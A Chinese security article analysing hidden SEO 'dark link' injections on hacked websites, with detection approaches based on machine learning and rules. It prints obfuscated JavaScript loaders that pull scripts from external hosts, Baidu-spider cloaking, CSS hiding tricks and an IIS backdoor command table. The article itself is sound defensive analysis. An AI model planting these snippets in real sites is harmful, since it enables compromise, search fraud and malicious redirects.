網頁暗鏈檢測

一、研究背景

0x1:網頁暗鏈是什麼?

近年來,互聯網行業蓬勃發展,網絡信息成指數級增長。在這種海量信息下,搜索引擎成爲主要的信息搜索工具,搜索引擎通過爬取網站信息並對網頁內容計算權重做排名展示在搜索結果中。由於展示在搜索結果前部的網站有更大概率被用戶訪問,某些網站管理者爲了獲取更多訪問量,往往採取各種作弊手段。

“暗鏈”就是一種提高網站排名的作弊手段。具體說,“暗鏈”指的是攻擊者獲取網站權限後,修改網頁源碼,插入指向其他網站的反向連接代碼,並且用戶在正常瀏覽網頁時無法看到此鏈接,但可被搜索引擎檢索計算權重。一旦網頁中存在暗鏈,通常這個網站已經被入侵,網站存在被植入惡意代碼、網頁被惡意篡改、數據信息泄露等風險。因此,“暗鏈”相比於其他搜索引擎作弊方式,具體有更大的危害性,並且難於發現。

暗鏈指向的網站絕大多數是博彩、非法遊戲私服、虛假醫療、辦證等黑灰色產業,其中博彩類域名數量最多。而暗鏈宿主往往是權重較高的網頁,例如政府網站、教育網站等。

從本質上說,暗鏈是一段被插入到網站文件中的“代碼”,所以這裏按照代碼形態將暗鏈分成以下幾類:

  • JS引入型暗鏈:通過修改網站title,引入外部JavaScript代碼來將暗鏈植入被害網站,當用戶通過搜索引擎搜索特定關鍵字時進入該網站,通過引入的外部JavaScript代碼實現跳轉到非法網站。
  • HTML隱藏型暗鏈:通過css或者JavaScript代碼隱藏暗鏈,例如通過position爲負數,或者將display設置爲none等方式來隱藏,目的是爲了提升非法網站的SEO排名,但是這種暗鏈已經越來越少了,現在的暗鏈大部分都是JS引入型暗鏈直接跳轉。
  • PHP/JSP/ASP等腳本語言型暗鏈:通過例如header()跳轉、file_get_content等函數調用,實現網頁跳轉或者暗鏈內容的遠程動態獲取,這種攻擊方式目前也比較流行。

按照前後端來分類,黑鏈主要分爲前端劫持與服務端劫持:

  • 前端劫持一般通過JS進行跳轉劫持,也有時候會直接通過修改頁面內容來進行
  • 服務端劫持也稱爲後端劫持,一般通過修改asp、jsp、php來進行劫持跳轉,一般劫持的腳本頁面爲conn.php、config、global等全局配置文件

0x2:網頁暗鏈帶來的危害

通常來講,受害主機存在以下兩個明顯的危害:

  1. 組織單位社會形象嚴重受損。存在漏洞的搜索引擎權重或者PR較高的網站容易被植入博彩、色情、遊戲等黑鏈,當訪問者點擊被掛黑鏈網站時,會被引導到相關的博彩、色情網站,使組織單位的社會形象受損,網站運營者甚至要承擔相應的法律責任。
  2. 嚴重影響網站的推廣。被掛黑鏈網站由於存在太多單向鏈接,會造成網站快照更新慢、網站排名下降等問題。而網站一旦被搜索引擎發現黑鏈行爲,會被降權或者從關鍵詞排名剔除,非常損害網站的推廣。

同時,黑鏈已經被植入受害主機,表明主機很可能已被黑客控制,現有的安全防護體系已經部分甚至完全失效,還存在以下潛在風險:

  1. 組織單位遭受更進一步的損失。攻擊者可以進一步對網站實行掛馬、信息篡改、信息竊取和信息監控,嚴重威脅用戶網站的安全,導致企事業單位遭受更進一步的資產損失。
  2. 遭受監管單位通報。黑客將惡意程序植入受害主機,控制主機作爲“肉雞”攻擊互聯網上的其他單位,違反網絡安全法,遭致網信辦、網安等監管單位的通報處罰。

0x3:黑產爲什麼想要做暗鏈?

以前黑產更多的情況是掛馬,直接獲取權限抓取肉雞。但是近些年由於掛馬的黑產形式,在各方面的條件影響下,成爲了風險高,收益低的方式。暗鏈是近幾年黑色產業鏈最愛用的獲取利益方式之一,其也是黑帽SEO最愛用的方式之一。其最呈現出最明顯的方式就是在點擊搜索引擎後顯示的是正常頁面,點擊進去跳轉到某菠菜,某色情頁面。

這裏有一個問題,爲什麼這些黑產人員拿了站點的權限,爲什麼不直接篡改主站,而是選擇子頁面?

我認爲這是趨於SEO的特性,黑產人員主要是爲了提高菠菜站點的權重,而不是要一定要讓別人點擊進菠菜頁面。當黑帽SEO得到優化後,就能得到相應的報酬。所以,爲了降低風險性,提高回報率,黑產人員沒必要直接篡改主站的所有內容,而是隻需要掛在子頁面下即可達到SEO優化的目的。這和現在挖礦病毒會主動降低CPU/內存消耗,並且避免對系統造成其他的損害是類似的道理,黑產的目的主要是通過資源劫持實現經濟目的,而並不想造成危害性地入侵。 

黑產爲了提升暗鏈的效果,會採用多種SEO技術,

  • Keyword stuffing:網頁包含關鍵字數量對頁面排名很重要,將關鍵詞與非法網站關聯起來
  • Link farm:入侵排名較高的網站注入超鏈接
  • Cloaking:不同的User-Agent、Referer、IP地址呈現不同的內容

0x4:誰在買暗鏈?

“暗鏈”和友情鏈接有相似之處,可以有效地提高網站搜索引擎排名的權重值。所以很多網站站長爲了提高搜索引擎排名會去購買暗鏈,或者黑產人員會利用自己的技術去入侵網站掛上自己的非法網站提高排名。

總體來說,購買暗鏈的用戶畫像如下:

  • 亟需對自己的網站進行推廣,希望自己的網站在搜索引擎的排名儘量靠前,甚至排名第一的用戶。以醫藥、博彩、黃色爲主。
  • 黑客將一些網站的暗鏈賣給六合彩、小黃網、詐騙等一些不法網站,不法網站藉此提高知名度,進行違法犯罪活動。

0x5:暗鏈的目標受衆市場是誰?

前面說過,暗鏈的本質是爲了提升特定網站的搜索權重,而一般來說,對搜索權重有巨大需求的往往是一些博彩、灰色醫療、色情網站。

再往前分析,這些所謂的博彩、灰色醫療、色情網站也是爲了迎合某一部分市場的需求,目前社會上就是存在大量的網民對這類網站感興趣,他們會通過搜索引擎進行搜索。

同時,搜索引擎有義務對檢索結果進行審查和篩選,非法的服務和敏感的個人信息都可以根據請求被刪除或者自動剔除。攻擊者可以通過行業黑話來規避檢測,例如使用M4RK SIX指代六臺彩。而使用者發現關鍵詞被屏蔽後,就會嘗試其他行業黑話進行檢索,行業黑話通常是諧音或者形似。使用者可以直接訪問或者被重定向進行訪問。 

參考鏈接:

https://www.freebuf.com/articles/network/186071.html
https://www.freebuf.com/articles/web/182117.html 
https://cloud.tencent.com/developer/article/2107461?from=15425
https://cloud.tencent.com/developer/article/1091950?from=15425
https://www.dbappsecurity.com.cn/content/details2172_10266.html
https://www.yun88.com/news/3535.html
https://www.volcengine.com/theme/1180346-Y-7-1 
http://www.gmuzi.com/post/65.html
https://www.leiphone.com/category/gbsecurity/f92lZgFFWN3HWOQf.html

 

二、常見暗鏈攻擊方式

0x1:JS引入型暗鏈

 

1、JavaScript中window對象引入暗鏈

這種手法的原理是調用widnows對象中的document.write方法將外部的JS代碼引入到當前頁面,通常還會配合使用16進制編碼來實現隱藏的目的。

<script language=”javascript” type=”text/javascript”>
document.write(“<div style=’display:none;’>”);
</script>
<div>
<a href=域名>關鍵詞</a>
<script language=”javascript” type=”text/javascript”>
document.write(”</div>”);
</script>

這個案例中,黑客將網站的title、keywords、description都換成了10進制的unicode編碼,這樣的確能起到一些隱藏的作用,10進制unicode編碼在瀏覽器解析的時候會還原成字符。

<title>&#21271;&#20140;&#36187;&#36710;&#112;&#107;&#49;&#48;&#32;&#21271;&#20140;&#36187;&#36710;&#112;&#107;&#49;&#48;&#21382;&#21490;&#35760;&#24405;&#32;&#112;&#107;&#49;&#48;&#32593;&#19978;&#25237;&#27880;&#45;&#21271;&#20140;&#112;&#107;&#49;&#48;&#30452;&#25773;&#32593;</title> <meta name="keywords" content="&#21271;&#20140;&#112;&#107;&#49;&#48;&#24320;&#22870;&#30452;&#25773;&#44;&#112;&#107;&#49;&#48;&#24320;&#22870;&#30452;&#25773;&#44;&#21271;&#20140;&#36187;&#36710;&#112;&#107;&#49;&#48;&#24320;&#22870;&#32467;&#26524;&#44;&#21271;&#20140;&#36187;&#36710;&#112;&#107;&#49;&#48;&#24320;&#22870;&#30452;&#25773;&#44;&#21271;&#20140;&#36187;&#36710;&#112;&#107;&#49;&#48;&#25237;&#27880;&#32593;&#31449;&#44;&#112;&#107;&#49;&#48;&#32593;&#19978;&#24320;&#25143;&#44;&#112;&#107;&#49;&#48;&#32593;&#19978;&#25237;&#27880;&#44;&#21271;&#20140;&#36187;&#36710;&#35270;&#39057;&#32593;" /> <meta name="description" content="&#12304;&#49;&#49;&#48;&#48;&#107;&#97;&#105;&#46;&#99;&#111;&#109;&#12305;&#32463;&#21271;&#20140;&#31119;&#24425;&#23448;&#32593;&#25480;&#26435;&#44;&#25552;&#20379;&#21271;&#20140;&#36187;&#36710;&#112;&#107;&#49;&#48;&#21382;&#21490;&#35760;&#24405;&#44;&#21271;&#20140;&#36187;&#36710;&#112;&#107;&#49;&#48;&#24320;&#22870;&#35270;&#39057;&#44;&#21271;&#20140;&#36187;&#36710;&#24320;&#22870;&#32467;&#26524;&#26597;&#35810;&#44;&#21271;&#20140;&#36187;&#36710;&#112;&#107;&#49;&#48;&#22312;&#32447;&#25237;&#27880;&#44;&#112;&#107;&#49;&#48;&#32593;&#19978;&#24320;&#25143;&#44;&#26368;&#19987;&#19994;&#30340;&#21271;&#20140;&#36187;&#36710;&#30452;&#25773;&#32593;&#33;"/>

將這些十進制unicode編碼丟到站長工具中解密:

接着分析JavaScript代碼部分,

<script type="text/javascript"> window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"] ('\x3c\x73\x63\x72\x69\x70\x74 \x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22 \x73\x72\x63\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x73\x65\x6f\x32\x36\x38\x2e\x73\x75\x2e\x62\x63\x65\x62\x6f\x73\x2e\x63\x6f\x6d\x2f\x31\x31\x30\x30\x6b\x61\x69\x2e\x6a\x73\x22\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e'); </script><script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){document.title = "XXXXX科技有限公司"}</script>

可以看到他調用了JavaScript中的windows對象,然後使用的方法都使用了16進制的編碼,因爲JavaScript是支持16進制編碼的,這樣可以躲過一部分簡單的檢測工具,確實具有一些隱蔽性。

後面調用navigator對象中的useragent方法判斷用戶訪問的useragent,如果不是通過百度跳轉過來的就將title設置爲正常的title,我們將上面這段代碼中的16進制編碼丟到16進制解密工具中。

這樣可以看到,他其實是使用的window對象中的document.wirte方法,將一段外部JavaScript代碼寫入到了當前的頁面,這樣就完成了一段暗鏈的植入。

2、JavaScript中String.fromCharCode方法引入暗鏈

這種引入方式的原理是通過String.fromCharCode函數將10進制ascii碼轉換爲正常的字符,然後調用document.wirte方法寫入當前頁面。

前面的title、keywords、description還是10進制unicode編碼。

接下來分析JavaScript代碼部分,

<script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){document.title ="系統登錄,XXX管理系統 "}</script>
<script type="text/javascript"> var xt = String.fromCharCode(60,115,99,114,105,112,116,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,32,115,114,99,61,34,104,116,116,112,115,58,47,47,115,102,104,117,102,104,50,46,99,111,109,47,121,108,99,46,106,115,34,62,60,47,115,99,114,105,112,116,62,); document.write(xt); </script>

和上一個攻擊方式類似,不過換成了String.fromCharCode方法配合10進制ASCII碼+document.write方法實現,首先將這一串10進制ASCII碼轉換爲了String字符串,然後使用document.wirte方法將這串字符串寫入到當前頁面,這樣就完成了外部JavaScript代碼的引入,從而實現了暗鏈的植入。

3、使用十進制unicode編碼引入JavaScript

這種方法是通過引入JavaScript時,<script src="XX">通過將其中的src改爲十進制unicode編碼來實現的。這種方法不是在JavaScript上做文章,而是利用html的特性,使用十進制unicode編碼改變<script>標籤中的src來做文章。

十進制unicode的編碼的title就不討論了,直接看JavaScript部分,

<script type="text/javascript" src="&#104;&#116;&#116;&#112;&#115;&#58;&#47;&#47;&#119;&#119;&#119;&#46;&#99;&#113;&#105;&#97;&#110;&#46;&#99;&#110;&#47;&#97;&#121;&#120;&#49;&#54;&#56;&#46;&#106;&#115;"></script>

可以看到黑客將src使用了十進制unicode編碼,從而可以規避一些簡單的或者肉眼的檢測。

可以看到其引入的是一個外部的JavaScript代碼,從而實現了暗鏈的植入。可以跟進去看看。 

主要起作用的還是圈出的部分,可以看到他先判斷這個訪問是不是通過搜索引擎過來的,如果是通過搜索引擎過來的,纔會進行跳轉。 

4、JavaScript中eval函數混淆引入

先看eval函數的定義, 

黑客一般利用這個函數來實現JavaScript的混淆加密,

直接開始分析JavaScript代碼部分,

<script type="text/javascript">eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('l["\\e\\c\\1\\n\\f\\8\\o\\0"]["\\7\\3\\9\\0\\8"](\'\\g\\2\\1\\3\\9\\4\\0 \\0\\m\\4\\8\\d\\6\\0\\8\\j\\0\\5\\h\\a\\k\\a\\2\\1\\3\\9\\4\\0\\6 \\2\\3\\1\\d\\6\\t\\0\\0\\4\\2\\u\\5\\5\\7\\7\\7\\b\\v\\1\\e\\a\\2\\q\\b\\1\\c\\f\\5\\r\\p\\s\\b\\h\\2\\6\\i\\g\\5\\2\\1\\3\\9\\4\\0\\i\');',32,32,'x74|x63|x73|x72|x70|x2f|x22|x77|x65|x69|x61|x2e|x6f|x3d|x64|x6d|x3c|x6a|x3e|x78|x76|window|x79|x75|x6e|x36|x38|x33|x35|x68|x3a|x62'.split('|'),0,{}))
</script>

可以看到,本質上還是使用了document.write方法將外部JavaScript代碼引入當前頁面,只不過使用了eval函數進行混淆罷了。 

5、利用JavaScript重定向機制

利用重定向機制。在跳轉之前的頁面寫入不相關的鏈接,通過快速跳轉到正常頁面,使用戶無法察覺。

還利用setTimeout 在跳轉到正常頁面index.html之前有0.1s停留在當前頁面,頁面中的暗鏈不易被察覺。

0x2:HTML隱藏型暗鏈

1、display:none隱藏html元素

<div style="display:none;">
<a href="域名" target="_blank">關鍵詞</a>
</div>

2、利用marquee屬性

<marquee height=1 width=5 SCROLLAMOUNT=3000 SCROLLDELAY=20000>
<a href=域名>關鍵詞</a>
</MARQUEE>

3、利用position屬性

CSS1
<div style=”position: absolute; top: -999px;left: -999px;”>
<a href=域名>關鍵詞</a>
</div>

CSS2
<div style=”position:absolute;left:expression(1-900)
;top:expression(3-999);”>
<a href=域名>關鍵詞</a>
</div>

以上幾種是慣用的掛暗鏈的方法,但目前的搜索引擎也開始對這些方法進行識別和打擊,如果代碼沒有任何處理的話,那麼這些外鏈將有可能全部被降權。即便如此,這幾種仍然是目前最常見的暗鏈隱藏方法。爲了不被搜索引擎識別,攻擊者利用JS向頁面中寫入ccs樣式,並設置其屬性,由於搜索引擎對這種JS代碼的內部實質意義還無法識別,因此也成爲了掛暗鏈的一種常見形式。

4、利用z-index屬性

利用遮擋層隱藏暗鏈。z-index屬性可以設置元素的堆疊順序,z-index值越小其堆疊順序越靠後,因此可以利用其它層來遮擋暗鏈。

5、利用iframe創建隱藏的內聯框架

marginWidth,marginHeight爲0 則無法顯示內聯框,可隱藏暗鏈。

6、利用<meta>標籤插入鏈接

利用<meta>標籤插入鏈接。位於網頁html源碼頭部內的<meta>標籤,提供有關頁面的元信息,是搜索引擎判定網頁內容的主要根據, 攻擊者可以在標籤中插入大量與網頁不相關的詞語以及鏈接。

0x3:服務端腳本SEO型暗鏈

class Login
{
    /**
     * 統一登錄方法
     * @param $loginData array 登錄攜帶信息
     * */
    public static function login(array $loginData): array
    {
  
        $lang = $loginData['lang'] ?? 'zh';
        //if ($lang == "en")
header('Location: https://99662121.com/registered');die;

一般來說,腳本代碼中會對UA進行判斷,這裏列舉一些搜素引擎的UA特徵:

百度
“Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)”

百度圖片
“Baiduspider-image+(+http://www.baidu.com/search/spider.htm)”

百度PC:
Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)

百度移動:
Mozilla/5.0 (iPhone; CPU iPhone OS 9_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13B143 Safari/601.1 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)

360搜索
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0);

360網站安全檢測
360spider (http://webscan.360.cn)

Google
“Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)”

Google圖片搜索
“Googlebot-Image/1.0”

Adwords移動網絡
“AdsBot-Google-Mobile (+http://www.google.com/mobile/adsbot.html) Mozilla (iPhone; U; CPU iPhone OS 3 0 like Mac OS X) AppleWebKit (KHTML, like Gecko) Mobile Safari”

微軟 bing,必應
“Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)”

騰訊搜搜
“Sosospider+(+http://help.soso.com/webspider.htm)”

搜搜圖片
“Sosoimagespider+(+http://help.soso.com/soso-image-spider.htm)”

雅虎英文
“Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)”

雅虎中國
“Mozilla/5.0 (compatible; Yahoo! Slurp China; http://misc.yahoo.com.cn/help.html)”

搜狗圖片
“http://pic.sogou.com” “Sogou Pic Spider/3.0(+http://www.sogou.com/docs/help/webmasters.htm#07)”

搜狗
“Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)”

網易有道
“Mozilla/5.0 (compatible; YoudaoBot/1.0; http://www.youdao.com/help/webmaster/spider/; )”

0x4:HTML批量文件污染植入 

0x5:服務端路由跳轉劫持

1、關鍵路由腳本劫持

黑客通過將SEO代碼植入關鍵的PHP/ASP/JSP代碼邏輯中(例如首頁index.php、autoload.php中),以此達到路由劫持的目的。

將其中base64加密的內容進行base64解密,得到以下內容:

其中 function isSpider()函數主要用來判斷是否爲爬蟲訪問,如果是爬蟲則返回http://l5.wang2017.com/相關的內容。

2、通用配置文件劫持

3、藉助Dll模塊實現路由劫持

爲了更好的對IIS服務中所有站點進行管理,IIS服務允許管理員安裝模塊對服務器上的全局信息進行個性化的處理,如全局對訪問鑑權、對http請求過濾、設置返回信息等。因此攻擊者利用IIS模塊能夠對http請求和返回進行處理的特性,通過實現CHttpModule或CGlobalModule類中不同的函數實現對http請求和返回的控制。

下圖爲IIS的服務器對http請求的處理流程。

1)title/meta劫持

對網站的首頁進行暗鏈相關內容植入,搜索引擎訪問受害者網站時,惡意模塊會將網頁的title和meta信息替換爲模塊中的硬編碼信息,達到對黃賭毒網站信息傳播的目的。 

2)動態從C&C端獲取暗鏈網頁內容

不但實現了暗鏈功能還實現了代理功能。當搜索引擎訪問受害者網站訪問時,惡意模塊會使用代理模塊從攻擊者網站獲取暗鏈頁面並返回。與直接硬編碼SEO內容相比,攻擊者能夠通過後端網站的配置實時修改暗鏈的返回頁面,甚至在必要時可以關閉返回達到規避暗鏈檢測的目的。

在條件滿足(路徑帶app字樣且UA爲蜘蛛)情況下,IIS進程會請求http://sc.xxxbt.com/xxx 路徑,並返回請求到的內容。

3)根據URL、UA、Referer等字段針對搜索引擎進行定向SEO攻擊

這類攻擊同時實現了暗鏈、後門及代理功能。樣本根據URL、UA、Referer以及CMD字段,將http訪問分成了正常用戶訪問、搜索引擎爬蟲以及攻擊者訪問。如果訪問者是正常用戶則返回網站原本頁面,如果訪問者是搜索引擎爬蟲則返回攻擊者服務器設置的賭博或色情頁面,如果是攻擊者訪問則會執行命令並返回結果。

後門實現了命令執行、msf反彈shell、下載及信息收集功能,具體命令格式如下表所示。

後門命令

命令參數格式

說明

cmd

{pass}$cmd${param}

啓動cmd.exe並執行param命令

msf

{pass}$msf${ip}${port}

反向連接攻擊者msf服務器

dw

{pass}$dw${url}${file}

下載url文件到被入侵服務器的指定文件中

in

{pass}$in

獲取被入侵服務器基本信息

4)和正常IIS模塊綁定實現白加黑隱藏攻擊

通過捆綁正常模塊如F5XFFHttpModule(一種用於記錄訪問者IP的正常模塊)進行傳播。白加黑的樣本既可以在安裝模塊後很好的僞裝攻擊行爲,也能上傳到下載站誘騙管理人員下載安裝。這類攻擊同時具備危害性與隱蔽性,不容易被發現。

5)動態向遠端C&C拉取配置文件實現靈活可配置的後門模塊

在初始化時需要通過DnsQuery向xinxx.allsoulu.com查詢UA、URL及C&C服務器等暗鏈配置信息。該類型樣本遠程加載配置信息的方式,不但有一定的免殺效果,也使攻擊者的暗鏈植入更加靈活。

4、hook文件劫持 

參考鏈接:

https://cloud.tencent.com/developer/article/1798770?from=15425 
https://www.heimao.wiki/post/14.html 
https://cloud.tencent.com/developer/article/1595250?from=15425 
https://www.freebuf.com/articles/web/222060.html
https://cloud.tencent.com/developer/article/1044102?from=15425
https://www.freebuf.com/news/339736.html
https://www.leiphone.com/category/gbsecurity/f92lZgFFWN3HWOQf.html

 

二、基於機器學習識別網頁暗鏈文件

0x1:方法論原理

網頁中被植入的暗鏈,通常是淫穢、博彩、商廣等內容,其錨文本含義與整體網頁主題有很大差異,這種主題差異可作爲最終監督學習決策模型的重要特徵。

我們可以使用基於規則的多域模型提取網頁中可疑文本信息和正常文本信息,導入 LDA(Latent Dirichlet Allocation) 主題識別算法提取主題並計算差異度。

0x2:方案概要

根據網頁中暗鏈植入特點,提取可疑鏈接信息,可疑代碼信息,可疑文本信息,做暗鏈檢測,使用多模型融合提高結果準確度。

具體邏輯如下圖所示,分爲安全域識別模型、可疑域識別模型、主題識別模型,通過設置各模型權重,並將三個模型結果信息融合導入機器學習模型訓練,得到綜合結果用於鑑別。檢測結果導入人工審覈機制,對審覈確認後的樣本自動加入模型重訓練流程。

網頁暗鏈檢測模型收集大量網頁源碼作爲訓練集,所述訓練集中包含已被標註爲包含暗鏈的網頁和標註爲正常的網頁,提取訓練集用於構建機器學習模型的特徵數據,包括風險度、主題異樣度、主題、風險文本向量、風險文本異常概率以及風險文本長度等。

具體來說,

  • 使用基於規則的模型提取可疑敏感文本信息,模型包括:可疑域識別模型、敏感域識別模型、安全域識別模型。
  • 使用機器學習模型對特徵做深度抽取融合檢測,模型包括:主題識別模型、基於 Doc2vec( 文檔向量模型 ) 特徵融合模型、基於監督學習的暗鏈檢測模型。

1、多域識別

結合安全專家知識,通過對歷史樣本數據分析,根據網頁不同位置可被植入的風險度, 劃分爲可疑域、敏感域、安全域。對不同域識別匹配可估算出網頁整體風險度。

1)可疑域識別

分析網頁源碼,提取網頁源碼中所有可疑域,對每個可疑域進行風險度識別並獲取風險文本。可疑域具體指包含隱藏效果的代碼區域,包括:

(1)鏈接位於頁面可見範圍之外,即通過改變 position 位置達到頁面不可見。可以將 position 位置屬性設置成負數,則鏈接無法顯示在可見頁面之內。代碼示例如下:

<divstyle="position:absolute;left:expression_r(1900);top:expression_r(3-999);">
<a href=" 暗鏈 "> 錨文本 </a>
</div>
<div style="position:absolute;top:-999px;right:- 999px;">
<a herf=" 暗鏈 "> 錨文本 </a>
</div>
<div style="text-indent:-9999em; display:block; float:left">
<a herf=" 暗鏈 "> 錨文本 </a>
</div>

(2)利用跑馬燈 marquee 屬性,即通過改變跑馬燈 marquee 參數達到用戶不可見。鏈接以跑馬燈形式迅速閃現,跑馬燈的長寬設置很小,同時將閃現的頻率設置很大,使得查看頁面時不會有任何影響。代碼實例如下:

<marqueeheight=1width=4 scrollamount=3000 scrolldelay=20000>
<a href= " 暗鏈 "> 錨文本 </a>
</marquee>

(3)利用 display:none 和 visibility:hidden 隱藏區域裏的內容,即通過設置“ display:none”, “overflow:hidden”達到用戶不可見。代碼實例如下:

<div style="display:none;">
<a href=" 暗鏈 "> 錨文本 </a>
</div>
<div style=" overflow:hidden;">
<a href=" 暗鏈 "> 錨文本 </a>
</div>

2)敏感域識別

分析網頁源碼,提取網頁源碼中所有敏感域,對每個敏感域進行風險度識別並獲取風險文本。

敏感域具體指可能含有隱藏效果的代碼區域,包括但不限於:

(1)包含 style 屬性賦值的 <div> 標籤區域
(2)包含 id 屬性賦值的 <div> 標籤區域
(3)包含 class 屬性賦值的 <div> 標籤區域
(4)<td> 標籤區域
(5)<marquee> 標籤區域
(6)<ul> 標籤區域
(7)<tr> 標籤區域

3)安全域識別

分析網頁源碼,提取網頁源碼中安全域,分析每個安全域,提取安全域的錨文本信息, 將提取的所有安全域的錨文本信息作爲安全文本。

安全域包括:

內部鏈接的 <a> 標籤域

參考鏈接:

https://www.secrss.com/articles/14772
https://cloud.tencent.com/developer/article/1873576?from=15425

 

三、基於專家規則識別網頁暗鏈文件

對於windows對象引入的,判斷其是否使用了16進制代碼,如果使用了,那麼懷疑度+1。然後再判斷16進制代碼解析之後的內容,如果出現了script字樣,則懷疑度+1。

對於使用十進制ASCII碼進行僞裝的暗鏈,可以判斷其變量是否被document.wirte對象引用了,如果引用了再判斷其十進制ASCII碼的內容。

對於改變script標籤src屬性的暗鏈,可以直接翻譯其10進制unicode編碼,結合威脅情報或者跟進JavaScript代碼等方式進行判斷。

對於eval函數混淆的暗鏈,可以先走一個逆向的過程,然後的分析步驟就和上面三種一樣了。

 

四、基於威脅情報識別網頁暗鏈文件

基於威脅情報,識別網頁文件中存在的惡意URL。

 

五、基於網站異常內容動態監控網頁暗鏈

  • 網站內鏈、外鏈監控
  • 基於網站內容動態渲染的內容安全識別

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章